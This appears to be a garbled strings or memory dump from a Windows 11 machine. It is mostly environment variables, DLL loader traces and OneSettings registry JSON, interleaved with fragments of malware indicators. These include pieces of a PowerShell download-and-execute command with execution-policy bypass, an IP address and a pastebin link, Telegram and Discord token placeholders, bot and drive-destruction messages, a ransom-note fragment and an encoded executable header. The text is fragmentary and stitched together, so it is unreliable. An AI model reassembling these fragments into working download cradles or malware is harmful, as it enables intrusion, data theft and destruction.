Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job wind -b07 ++S+ ++S+ MaxTempSizeKB REG_DWORD REG_DWORD ValueName RegValueType RegValueType RegValueType ValueName ValueName MinCpuCores ValueName REG_DWORD ValueName ValueName RegValueType MINFREEDISKGB ROUNDNUMBER RegValueType ValueName TargetFileId RoundNumber REG_DWORD RegValueType ValueName ValueName ValueName aeinv.dll aepic.dll REG_DWORD appraiser.dll ValueName RegValueType aepic3.dll ValueName aemarebackup.dll aepic2.dll ValueName ValueName ValueName RegValueType RegValueType aeinv.dll aepic.dll valInHours LANGUAGEPACKREMOVALPLUGIN_ENABLED InPlaceUpgradePlugin_ServerSkuBlock NOTIFICATIONMANAGERPLUGIN_IMPACTLEVEL INPLACEUPGRADEPLUGIN_SERVERSKUBLOCK ManualCorruptionRepairPlugin_AutoOnly NotificationManagerPlugin_AutoOnly MANUALCORRUPTIONREPAIRPLUGIN_ACTIONLIMIT ManualCorruptionRepairPlugin_ImpactLevel MANUALCORRUPTIONREPAIRPLUGIN_ENABLED INPLACEUPGRADEPLUGIN_RUNONMANAGED ManualCorruptionRepairPlugin_E PLUGIN_AUTOONLY TIMETHL SHOLD InPlaceUpg Plugin_Max/ timeThreshold NotificationManagerPlugin_Enabled NOTIFICATIONMANAGERPLUGIN_ACTIONLIMIT TIFI ONMANAGERPLUGIN_AUTOONLY ALCORRUPTIONREPAIRPLUGIN_ORDER CORR gin_ SHOLD PlaceUpg UsoScanPlugin_Ma imeT LUGIN_MINUPT HRES onManage gin_ImpactLevel ONMANAGERPLUGIN_SERVERSKUBLOCK NotificationManagerPlu nage gin_ GIN_ "STA RegV WORD"}," ValueTyp REG_ IMETHRESHOLD Valu _Min ValueNam ugin_Order","Reg UGIN MOACAdd CacheTask true true true CacheTask true win:Stop true win:Stop CacheTask win:Info win:Info TCGLogs SmsScanTask SmsScanTask SmsScanTask true true true BmEtwEvent win:Stop win:Info true CacheTask win:Stop true BmEtw CacheAdd true true win:Start CacheLookup win:Info true true true true MOACRevoke win:Info SmsScanTask true win:Info SmsScanTask SmsScanTask UfsScanStop stem32\clbcatq.dll 13f4-LdrpMinimalMapModule-R-0 13f4-LdrpLoadDllInternal-R-0 13f4-LdrGetDllHandleEx-E-ntdll.dll 13f4-LdrpFindLoadedDllInternal-R-0 13f4-LdrGetDllHandleEx-R-0 13f4-LdrGetDllHandleEx-E-ntdll.dll 13f4-LdrpFindLoadedDllInternal-R-0 13f4-LdrGetDllHandleEx-R-0 13f4-LdrGetDllHandleEx-E-kernelbase.dll 13f4-LdrpFindLoadedDllInternal-R-0 13f4-LdrGetDllHandleEx-R-0 13f4-LdrLoadDll-E-C:\Windows\System32\msxml6.dll 13f4-LdrpLoadDllInternal-E-C:\Windows\System32\msxml6.dll 13f4-LdrpFindKnownDll-E-msxml6.dll 13f4-LdrpFindKnownDll-R-c0000135 13f4-LdrpResolveDllName-E-C:\Windows\System32\msxml6.dll 13f4-LdrpResolveDllName-R-0 13f4-LdrpMinimalMapModule-E-C:\Windows\System32\msxml6.dll 13f4-LdrpMinimalMapModule-R-0 13f4-LdrpLoadDllInternal-R-0 13f4-LdrLoadDll-R-0 13f4-LdrGetDllHandleEx-E-combase.dll 13f4-LdrpFindLoadedDllInternal-R-0 13f4-LdrGetDllHandleEx-R-0 13f4-LdrLoadDll-E-rpcrt4.dll 13f4-LdrpLoadDllInternal-E-rpcrt4.dll 13f4-LdrpLoadDllInternal-R-0 13f4-LdrLoadDll-R-0 13f4-LdrpLoadDllInternal-E-C:\WINDOWS\SYSTEM32\combase.dll 13f4-LdrpLoadDllInternal-R-0 13f4-LdrpLoadDllInternal-E- 0x0000 0FFF 0000 0000: Keywords reserved for Capture State MetaStoreTask C:\WINDOWS\System32\KERNELBASE.dll C:\WINDOWS\system32\ win:Informational win:Informational BehaviorMonitorTask SenseOnboardingInfo win:Informational StartRundown UfsScanProcTask win:Informational win:DC_Start UfsScanProcTask StartRundown win:Informational win:Info ! "!#"$#%$&%'&(')(*)+*,+-,.-/.0/102132435465768798:9;:<;=<>=?>@?A@EAIBMCQDUEYF]GaHeIiJmKqLuMyN}O win:Informational EngineLoadTask EnginePayload win:Informational BmInternalEvent EngineLoadEndEvent EngineLoadTask EnginePayload BehaviorMonitorTask win:Informational BmRegistryEvent BmInternalPayload BmRegistryPayload StartRundown BehaviorMonitorTask win:Informational K+ncalrpc:[OLE52178CC1FFBF16AF4D36D724A6B2] NT AUTHORITY\NETWORK SERVICE ISETUPAPI.dll pautoenr.dll DSROLE.dll SYSTEM\CurrentControlSet\Services\FltMgr\OneSettings\ RS":{"ValueName":"NoUsoScanPlugin_ManualRemediationIntervalInHours","RegValueType":"REG_DWORD"},"QUASSISTANTPLUGIN_ENABLED":{"ValueName":"QuAssistantPlugin_Enabled","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_ACTIONLIMIT":{"ValueName":"ReserveRepairPlugin_ActionLimit","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_AUTOONLY":{"ValueName":"ReserveRepairPlugin_AutoOnly","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_DETECTIONONLY":{"ValueName":"ReserveRepairPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_ENABLED":{"ValueName":"ReserveRepairPlugin_Enabled","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_IMPACTLEVEL":{"ValueName":"ReserveRepairPlugin_ImpactLevel","RegValueType":"REG_SZ"},"RESERVEREPAIRPLUGIN_INTERACTIVEONLY":{"ValueName":"ReserveRepairPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_INTERVALINHOURS":{"ValueName":"ReserveRepairPlugin_IntervalInHours","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"ReserveRepairPlugin_MaxUptimeThreshold","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_MINUPTIMETHRESHOLD":{"ValueName":"ReserveRepairPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_ORDER":{"ValueName":"ReserveRepairPlugin_Order","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"ReserveRepairPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_RUNONMANAGED":{"ValueName":"ReserveRepairPlugin_RunOnManaged","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_SERVERSKUBLOCK":{"ValueName":"ReserveRepairPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_THREADEXECUTIONTIMEOUTINSECONDS":{"ValueName":"ReserveRepairPlugin_ThreadExecutionTimeoutInSeconds","RegValueType":"REG_DWORD"},"SCHEDULEDTASKSPLUGIN_ACTIONLIMIT":{"ValueName":"ScheduledTasksPlugin_ActionLimit","RegValueType":"REG_DWORD"},"SCHEDULEDTASKSPLUGIN_AUTOONLY":{"ValueName":"ScheduledTasksPlugin_AutoOnly","RegValueType":"REG_DWORD"},"SCHEDULEDTASKSPLUGIN_DETEUGIN_AUTOONLY 0:\P gramData\Microsoft\Windows\OneSettings gramData\Microsoft\Windows\OneSettings DYNAMICPROTECTIONPLUGIN_AUTOONLY BINARYHEALTHPLUGIN_ENABLED CuAssistantPlugin_Enabled 6:\P gramData\Microsoft\Windows\OneSettings BinaryHealthPlugin_ImpactLevel A:\P gramData\Microsoft\Windows\OneSettings DYNAMICPROTECTIONPLUGIN_ORDER CORRUPTIONREPAIRPLUGIN_ENABLED BinaryHealthPlugin_DetectionOnly ;:\P gramData\Microsoft\Windows\OneSettings 2:\P gramData\Microsoft\Windows\OneSettings CUASSISTANTPLUGIN_ENABLED DynamicProtectionPlugin_Order CorruptionRepairPlugin_Enabled 7:\P gramData\Microsoft\Windows\OneSettings Q:\P gramData\Microsoft\Windows\OneSettings BINARYHEALTHPLUGIN_RUNONMANAGED <:\P gramData\Microsoft\Windows\OneSettings BINARYHEALTHPLUGIN_IMPACTLEVEL K:\P gramData\Microsoft\Windows\OneSettings N:\P gramData\Microsoft\Windows\OneSettings ENABLEUUPSCANPLUGIN_ENABLED EDGEUPDATEREPAIRPLUGIN_ENABLED EdgeUpdateRepairPlugin_Order INPLACEUPGRADEPLUGIN_ENABLED INPLACEUPGRADEPLUGIN_AUTOONLY InPlaceUpgradePlugin_AutoOnly EDGEUPDATEREPAIRPLUGIN_ORDER EdgeUpdateRepairPlugin_Enabled INPLACEUPGRADEPLUGIN_ACTIONLIMIT R:\P gramData\Microsoft\Windows\OneSettings >:\P gramData\Microsoft\Windows\OneSettings InPlaceUpgradePlugin_Enabled !:\P gramData\Microsoft\Windows\OneSettings EnableUUPScanPlugin_Enabled @:\P gramData\Microsoft\Windows\OneSettings P:\P gramData\Microsoft\Windows\OneSettings ':\P gramData\Microsoft\Windows\OneSettings EdgeUpdateRepairPlugin_AutoOnly InPlaceUpgradePlugin_ActionLimit _ManualRemediationCampaignId","RegValueType":"REG_SZ"},"MANUALCORRUPTIONREPAIRPLUGIN_MAXMANUALREMEDIATIONATTEMPTS":{"ValueName":"ManualCorruptionRepairPlugin_MaxManualRemediationAttempts","RegValueType":"REG_DWORD"},"MANUALCORRUPTIONREPAIRPLUGIN_MANUALREMEDIATIONINTERVALINHOURS":{"ValueName":"ManualCorruptionRepairPlugin_ManualRemediationIntervalInHours","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_ACTIONLIMIT":{"ValueName":"NotificationManagerPlugin_ActionLimit","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_AUTOONLY":{"ValueName":"NotificationManagerPlugin_AutoOnly","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_DETECTIONONLY":{"ValueName":"NotificationManagerPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_ENABLED":{"ValueName":"NotificationManagerPlugin_Enabled","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_IMPACTLEVEL":{"ValueName":"NotificationManagerPlugin_ImpactLevel","RegValueType":"REG_SZ"},"NOTIFICATIONMANAGERPLUGIN_INTERACTIVEONLY":{"ValueName":"NotificationManagerPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_INTERVALINHOURS":{"ValueName":"NotificationManagerPlugin_IntervalInHours","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"NotificationManagerPlugin_MaxUptimeThreshold","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_MINUPTIMETHRESHOLD":{"ValueName":"NotificationManagerPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_ORDER":{"ValueName":"NotificationManagerPlugin_Order","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"NotificationManagerPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_RUNONMANAGED":{"ValueName":"NotificationManagerPlugin_RunOnManaged","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_SERVERSKUBLOCK":{"ValueName":"NotificationManagerPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_THREADEXECUTIONTlugin_AutoOnly","RegValueType":"REG_DWORD"},"MANUALCORRUPTIONREPAIRPLUGIN_DETECTIONONLY":{"ValueName":"ManualCorruptionRepairPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"MANUALCORRUPTIONREPAIRPLUGIN_ENABLED":{"ValueName":"ManualCorruptionRepairPlugin_Enabled","RegValueType":"REG_DWORD"},"MANUALCORRUPTIONREPAIRPLUGIN_IMPACTLEVEL":{"ValueName":"ManualCorruptionRepairPlugin_ImpactLevel","RegValueType":"REG_SZ"},"MANUALCORRUPTIONREPAI RACTIVEONLY" ,"Re IMET lCor DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\ C:\WINDOWS\System32\imm32.dll :\WIND C:\W DOWS\SYSTEM32\kernel.appcore.dll C:\WINDOWS\System32\win32u.dll m32\W ER32.dll C:\WINDOWS\System32\gdi32full.dll C:\WINDOWS\System32\USER rogramDa Micr s\OneSet Flags ardSecdo T\Cu \AppComp OneS .json ows\P ToolbarWindow32 comctl32.dll msctls_trackbar32 cmiv2 autoElevate comctl32.dll.mui dpiAware Microsoft.Windows.Common-Controls ComboBoxEx32 Microsoft.Windows.Common-Controls comctl32.dll.mui C:\WINDOWS\WinSxS\ C:\Program Files\VMware\VMware Tools\ \Win C:\Program Files\VMware\VMware Tools\ ValueName ValueName RegValueType REG_DWORD ValueName REG_DWORD REG_DWORD ValueName RefreshIntervals REG_DWORD RegValueType RegValueType RegValueType NotificationType RegValueType PayloadHandler CtacAppId WHESVC_EXT CtacAppId Notification FlightType CtacAppId SmartOptOut Notification REG_DWORD ValueName Notification WV2Settings.json FlightSettings PayloadHandler OnDemandOnly NotificationType PayloadHandler SmartOptOut.json ENDPOINT.FSS PayloadHandler RegValueType Notification MigrateSettings MigrateSettings WHESVC_MOD NotificationType FullPath REG_SZ Feature Payload Name REG_SZ REG_SZ Data1 Partner REG_SZ FullPath REG_SZ REG_SZ Battery FullPath Metadata FullPath REG_SZ FILE Data0 FullPath FullPath Feature Metadata Data1 REG_SZ REG_SZ Payload REG_SZ FullPath OnDemand Partner FullPath FunExp REG_SZ FILE FullPath Metadata REG_SZ REG_SZ Data0 Metadata FullPath Costed FILE Payload Type andler AUWP C17" aUWP.json RTOPTOUT RTOPTOUT RTOPTOUT Default \WindowStations\Service-0x0-3e7$ llsWhenT tled deInboxP n_En Medic\On ting n_Action nualReme Volu tall discourteously.gam psychograph.rut strudsfjerenes.uns elia geomorfologi illustrator obstinateness nonfealties Ref8021fed2c9855240c3e <p>6a340207246b47e37f6d094d2236e5c6242b6e4461eef8021fed2c9855240c3e</p> SzCWyEROwKjjLTgI omeusegundo.Properties.Properties.Resources 4D5A9||3|||04|||FFF E1FBA0E|B409CD21B ||0A6F1|||A70B2B|110B2A| creativelibamcreativelibsicreativelib.creativelibdcreativeliblcreativeliblcreativelibfunfunAmfunfunsifunfunSfunfuncfunfunafunfunnBfunfunuffunfunfefunfunrfunfun AAAAAwgAArHgARhwHwtB3nAQwQAAIAim fBCcCKBBAFGAAKEBjKACAAQcEbAAFCAAxKKFBhAA 172.245.191.17/000 ubli gistermachine w_suu infec by c rd to decryp e fi //pastebin.com/raw/v jan-type spyware add C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p 7d0HTTP NT AUTHORITY\LocalService SSDP Discovery calService icWSAIFabricSvc tion Manager Search ntitled Destroy drive letter successfully! hacked.jpg Bot Started! start "" %%fl%% del /q %%0 Cant Load dll from server Start Receive dll. Status TELEGRAM_TOKEN DISCORD_WEBHOOK --headless=new --no-sandbox --disable-gpu https:// .xyz/ /silent https:// .xyz/ .exe .exe local\project2_singleinstance start-process =$env:temp new-object net.webclient).downloadstring($maven.scm -nop -w 1 -ep bypass -cnew-object $ Tetris.Properties.R |%{[char]$_})-join'invoke-expresssion $ [processinjector.program]::main() new-object net.webclient;invoke-expression $ windows.old.old regwrite ( $ , " " , , $ stringregexpreplace ( $ , " " , " stringregexpreplace ( " " , "47" , " stringsplit ( " " , " " , 4862 ) regread ( " " , " filedelete ( " \majolicas\protonemata\operationsvrelser televaerket\sladdertasker.sti ilfre\indskuds\ tripod eksklusives blokkryptografis indsendelserne ibenholtsfljtes antibiotikaforbruget.exe \Faginspektrerne\affugt\dunter \constancy.ans Lbrikkernes46.ini claxon rejicere impugner tikantens mediaanalyse kammerjunkerne.exe Europe/Zurich Europe/Zurich jkbviep WindowsFormsApp84.Properties.Resources NG/YqMpi5MZm4LOq+2nEnd6U5r2DBHvesB52K9955Y= 1b0679be72ad976a~/wwww.aspx~/test333.aspx~/test222.aspx rtner Name Metadata HASH DSTSYNC DXDB Name Metadata FILE FILE Payload Metadata Partner Payload Partner Metadata FILE DBUPDATE Version STRY Battery Costed REG_SZ 8AC" Partner Payload FILE FILE OnDemand Battery Costed Partner Feature Feature Name Data0 Name Data1 Default Metadata Normal Hash EcoScore Metadata Normal Normal Payload nPlugin_ Only ATIONINT OURS PLUGIN_P NMAI PAIGNIDt ours crosoft\ ows\ %ProgramData%\Microsoft\Windows\OneSettings s\FltMgr Sett thLoggin Auto FTWARE\M soft eSet FTWARE\M soft eSet RegValueType RegValueType REG_DWORD nPlugin_ nMan \AppComp OneS seMs ft\Windo T\Cu \AppComp OneS lacklist NoUsoScanPlugin_ManualRemediationIntervalInHours NPLUGIN_ ALRE ERVALINH OneS crosoft\ ows\ PLUGIN_M TIME gramData\Microsoft\Windows\OneSettings\FeatureTuning.json lacklist AMELIST AGER bESE EMANAGER AGER FTWARE\M soft eSet FTWARE\M soft eSet FTWARE\M soft eSet FTWARE\M soft eSet UsoScanPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_ORDER":{"ValueName":"NoUsoScanPlugin_Order","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"NoUsoScanPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_RUNONMANAGED":{"ValueName":"NoUsoScanPlugin_RunOnManaged","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_SERVERSKUBLOCK":{"ValueName":"NoUsoScanPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_STARVATIONTHRESHOLD":{"ValueName":"NoUsoScanPlugin_StarvationThreshold","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_THREADEXECUTIONTIMEOUTINSECONDS":{"ValueName":"NoUsoScanPlugin_ThreadExecutionTimeoutInSeconds","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_MANUALREMEDIATIONCAMPAIGNID":{"ValueName":"NoUsoScanPlugin_ManualRemediationCampaignId","RegValueType":"REG_SZ"},"NOUSOSCANPLUGIN_MAXMANUALREMEDIATIONATTEMPTS":{"ValueName":"NoUsoScanPlugin_MaxManualRemediationAttempts","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_MANUALREMEDIATIONINTERVALINHOURS":{"ValueName":"NoUsoScanPlugin_ManualRemediationIntervalInHours","RegValueType":"REG_DWORD"},"QUASSISTANTPLUGIN_ENABLED":{"ValueName":"QuAssistantPlugin_Enabled","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_ACTIONLIMIT":{"ValueName":"ReserveRepairPlugin_ActionLimit","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_AUTOONLY":{"ValueName":"ReserveRepairPlugin_AutoOnly","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_DETECTIONONLY":{"ValueName":"ReserveRepairPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_ENABLED":{"ValueName":"ReserveRepairPlugin_Enabled","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_IMPACTLEVEL":{"ValueName":"ReserveRepairPlugin_ImpactLevel","RegValueType":"REG_SZ"},"RESERVEREPAIRPLUGIN_INTERACTIVEONLY":{"ValueName":"ReserveRepairPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_INTERVALINHOURS":{"ValueName":"ReserveRepairPlugin_IntervalInHours","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_MAXUPTIMETHRESHORPLUGIN_INTERACTIVEONLY":{"ValueName":"NotificationManagerPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_INTERVALINHOURS":{"ValueName":"NotificationManagerPlugin_IntervalInHours","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"NotificationManagerPlugin_MaxUptimeThreshold","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_MINUPTIMETHRESHOLD":{"ValueName":"NotificationManagerPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_ORDER":{"ValueName":"NotificationManagerPlugin_Order","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"NotificationManagerPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_RUNONMANAGED":{"ValueName":"NotificationManagerPlugin_RunOnManaged","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_SERVERSKUBLOCK":{"ValueName":"NotificationManagerPlugin_ServerSkuBlock","RegValueType":"REG_DWORD"},"NOTIFICATIONMANAGERPLUGIN_THREADEXECUTIONTIMEOUTINSECONDS":{"ValueName":"NotificationManagerPlugin_ThreadExecutionTimeoutInSeconds","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_ACTIONLIMIT":{"ValueName":"NoUsoScanPlugin_ActionLimit","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_AUTOONLY":{"ValueName":"NoUsoScanPlugin_AutoOnly","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_DETECTIONONLY":{"ValueName":"NoUsoScanPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_ENABLED":{"ValueName":"NoUsoScanPlugin_Enabled","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_IMPACTLEVEL":{"ValueName":"NoUsoScanPlugin_ImpactLevel","RegValueType":"REG_SZ"},"NOUSOSCANPLUGIN_INTERACTIVEONLY":{"ValueName":"NoUsoScanPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_INTERVALINHOURS":{"ValueName":"NoUsoScanPlugin_IntervalInHours","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"NoUsoScanPlugin_MaxUptimeThreshold","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_MINUPTIMETHRESHOLD":{"ValueName":"No ENDPOINT.CTAC PayloadHandler CortanaUWP ValueName CortanaUWP.json TargetingChange Sustainability RegValueType NotificationType MigrateSettings CtacAppId CTAC.json DirectXDatabase PayloadHandler RefreshIntervals CtacAppId CortanaUWP DBUpdateBL.json ENDPOINT.DXDB CtacAppId WSD-OSSEC CtacAppId FlightSettings RefreshIntervals REG_DWORD FilterMgr ValueName ValueName RegValueType PayloadHandler TargetingChange REG_DWORD GuidedSetup CountersSampling CtacAppId MigrateSettings ENDPOINT.GS CountersEnabled PayloadHandler PayloadHandler WindowsApps NotificationType COUNTERSEN Service-0x0-3e4$\Default .json uZy5 .rsrc Ldrp: adDllInt nal-R- .rsrc .rsrc EDGEUPDATEREPAIRPLUGIN_ENABLED {"Value InventoryApplicationDriver UptimeT ","RegV SustainabilityConfig.json ONREPAIR INUPTIM M:\P gramData\Microsoft\Windows\OneSettings _MinUpt InventoryMiscellaneousUser "AUTOMA PTIONRE BinaryHealthPlugin_Enabled upti Plugin_ MaxTotalEventsAppLifetime ATICCORR PAIRPLU c:\P gramData\Microsoft\Windows\OneSettings ionRepa ENDPOINT.COMPATINSTALLTRACING ":"R "},"AUT BINARYHEALTHPLUGIN_IMPACTLEVEL Automat MAXTOTALEVENTSAPPLIFETIME egValueT G_DWORD InventoryAcpiPhatHealthRecord BLOC ueName" BinaryHealthPlugin_AutoOnly ueType" InventoryAcpiPhatVersionElement UTIONTI ENDPOINT.COMPATPROVIDEREOS ruption ugin_Th BINARYHEALTHPLUGIN_AUTOONLY :"RE },"AUTO BinaryHealthPlugin_ActionLimit {"Value BINARYHEALTHPLUGIN_ENABLED ualReme ampaign BINARYHEALTHPLUGIN_ACTIONLIMIT UGIN_MA InventoryMiscellaneousUser Automat tionRep BINARYHEALTHPLUGIN_RUNONMANAGED EG_DWOR BinaryHealthPlugin_ImpactLevel ERVALIN InventoryDeviceUsbHubClass pairPlu alRemed ENDPOINT.COMPATDEVICECENSUS DWORD" APLUGIN BINARYHEALTHPLUGIN_DETECTIONONLY pe":"RE InventoryDeviceMediaClass ":{"Valu BinaryH InventoryDeviceMediaClass REG_DWOR ARYHEAL InventoryDeviceUsbHubClass lthPlug nly","R BinaryHealthPlugin_DetectionOnly LY":{"V InventoryApplicationDriver y","Reg e":"REG InPlaceUpgradePlugin_Order yHealth InventoryAcpiPhatVersionElement PLUGIN_ 4918771001 e\HarddiskVolume3\Program Files (x86)\Microsoft\Edge\Application\145.0.3800.65\Installer\setup.exe e\harddiskvolume3\users\job\appdata\local\microsoft\onedrive\26.017.0126.0002\onedrive.sync.service.exe e\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDrive.Sync.Service.exe oft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe!App!WindowsTerminal.exe!2024/01/31:02:14:23!b42fe! e\HarddiskVolume3\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\Task\SenseTask.exe e\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDrive.Sync.Service.exe e\HarddiskVolume3\Program Files (x86)\Microsoft\Edge\Application\145.0.3800.70\identity_helper.exe icr oft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwe!App!GameBarFTServer.exe!2025/07/22:22:37:23!172027! oft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe!App!StoreDesktopExtension.exe!2026/01/24:20:55:13!0! e\HarddiskVolume3\Program Files (x86)\Microsoft\Edge\Application\145.0.3800.70\identity_helper.exe t.exe e\HarddiskVolume3\Program Files (x86)\Microsoft\Edge\Application\145.0.3800.70\elevation_service.exe e\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\25.087.0506.0001_1\Microsoft.SharePoint.exe e\HarddiskVolume3\Windows\SystemTemp\FD0747FA-22E1-45ED-BFA0-00E581BC419FMpCommU\UpdatePlatform.exe e\harddiskvolume3\users\job\appdata\local\microsoft\onedrive\26.017.0126.0002\onedrive.sync.service.exe e\HarddiskVolume3\Program Files (x86)\Microsoft\Edge\Application\144.0.3719.115\Installer\setup.exe oft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe!App!backgroundTaskHost.exe!2018/10/16:16:40:03!19e1d! VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft Volume Shadow Copy Service proxy/stub FileVersion 10.0.26100.1 (WinBuild.160101.0800) InternalName VSS_PS.DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename VSS_PS.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.1 VarFileInfo Translation \Device\HarddiskVolume3\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\svchost.exe GenuineTicket \Windows\System32\Windows.Security.Authentication.Web.Core.dll \Device\HarddiskVolume3\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\explorer.exe \Device\HarddiskVolume3\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\ctfmon.exe GMicrosoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe|2|0.000|0|5f484a00-a564-0001-e396-485f64a5dc01||0| me3\Wind s\seguih 3++S _vaZ&St3giE1Pr!b()(SwTdK6I7a#ObGCJjH1tFI4uq&*bVb%9O36LM&I& !lXp*8oZPGLaZjL!w2F24PhdsII30P8%v^(b<2wkhcyADHuirw(070<A_)>L>Avm$ XLogger callk IsUpdateActivatePong MapVirtualKey INDATE $a26d2fa7-2f04-4fee-80ee-5eddde36aff7 Host process for windows Tasks scsvhost.exe c2Nzdmhvc3Qk s_bin %4d.%2d.%2d-%2d:%2d:%2d 